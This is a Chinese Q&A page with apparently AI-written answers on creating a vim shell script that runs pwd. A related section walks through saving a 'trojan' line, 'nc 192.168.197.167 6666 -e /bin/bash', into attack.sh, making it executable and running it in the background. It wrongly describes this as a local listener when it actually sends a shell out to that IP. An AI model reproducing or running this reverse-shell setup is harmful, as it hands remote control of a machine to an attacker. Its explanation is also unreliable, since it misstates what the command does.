用vim创建shell脚本文件,并在脚本文件里添加命令pwd,后执行怎么做
时间: 2023-06-11 11:09:34 浏览: 583
你可以按照以下步骤在vim中创建shell脚本文件,并在其中添加命令pwd:
1. 打开终端,输入命令 vim test.sh,这将创建一个名为test.sh的空文件并在vim编辑器中打开它。
2. 在vim中按下i键,进入插入模式,在文件中添加命令pwd,如下所示:
```
#!/bin/bash
pwd
```
3. 按下Esc键退出插入模式,输入:wq保存并退出vim编辑器。
4. 在终端中输入命令 chmod +x test.sh,这将使得test.sh文件具有可执行权限。
5. 执行命令 ./test.sh,即可执行脚本文件并输出当前目录的路径。
注意:在添加命令时,需要在第一行添加shebang(#!/bin/bash),它告诉系统要使用哪个解释器来执行脚本文件。
相关问题
木马如下 (nc 192.168.197.167 6666 -e /bin/bash) ① 使用vim文本编辑器写shell脚本文件 ② 给脚本文件添加使用权限 ③ Cxk使用nc工具开启监听
在Linux中,命令行里的"木马"通常是指通过网络连接来控制远程计算机的恶意程序。例如,"nc 192.168.197.167 6666 -e /bin/bash" 这一行是一个Unix/Linux命令,它的作用是利用Netcat (NC) 工具创建一个本地端口(6666)的TCP监听服务,并将接收到的连接转发到`/bin/bash` shell环境中,即执行bash shell命令。
以下是步骤详解:
① **使用vim编写shell脚本**:
使用`vim`编辑器打开一个新的文件,例如`attack.sh`:
```
vim attack.sh
```
然后在编辑器里输入或粘贴你的shell脚本内容,如包含`nc`命令的部分。
② **赋予脚本执行权限**:
按`:wq`保存并退出`vim`,接着运行`chmod`命令以使脚本有执行权限:
```
chmod +x attack.sh
```
③ **使用nc开启监听**:
要开始监听,你需要先移动到包含脚本的目录下,然后运行你的脚本:
```
cd $(pwd) # 如果不在当前目录
./attack.sh & # 后面加上&以后台运行
```
现在,电脑将在指定的IP地址(192.168.197.167)和端口6666上等待连接请求。
shell脚本使用命令
shell脚本是一种在Unix和Linux系统中使用的文本文件,它包含了系列的命令和控制结构,用于自动化执行一系列任务。编写shell脚本通常涉及以下几个步骤:
1. **打开编辑器**:如`nano`, `vim`, 或者 `gedit`,创建一个新的文件,比如`myscript.sh`。
2. **添加指令**:使用基本的bash shell命令,例如文件操作(`mkdir`, `cp`, `rm`),进程管理(`cd`, `pwd`, `exec`),条件判断(`if...else...fi`),循环(`for`, `while`),以及命令替换(`$(...)`)等。
3. **保存并设置权限**:保存文件后,使用`chmod`命令赋予脚本执行权限,通常是`chmod +x myscript.sh`。
4. **运行脚本**:通过终端输入`./myscript.sh`来执行你的脚本。
5. **注释**:记得在脚本中加入注释说明,以便于理解和维护。
阅读全文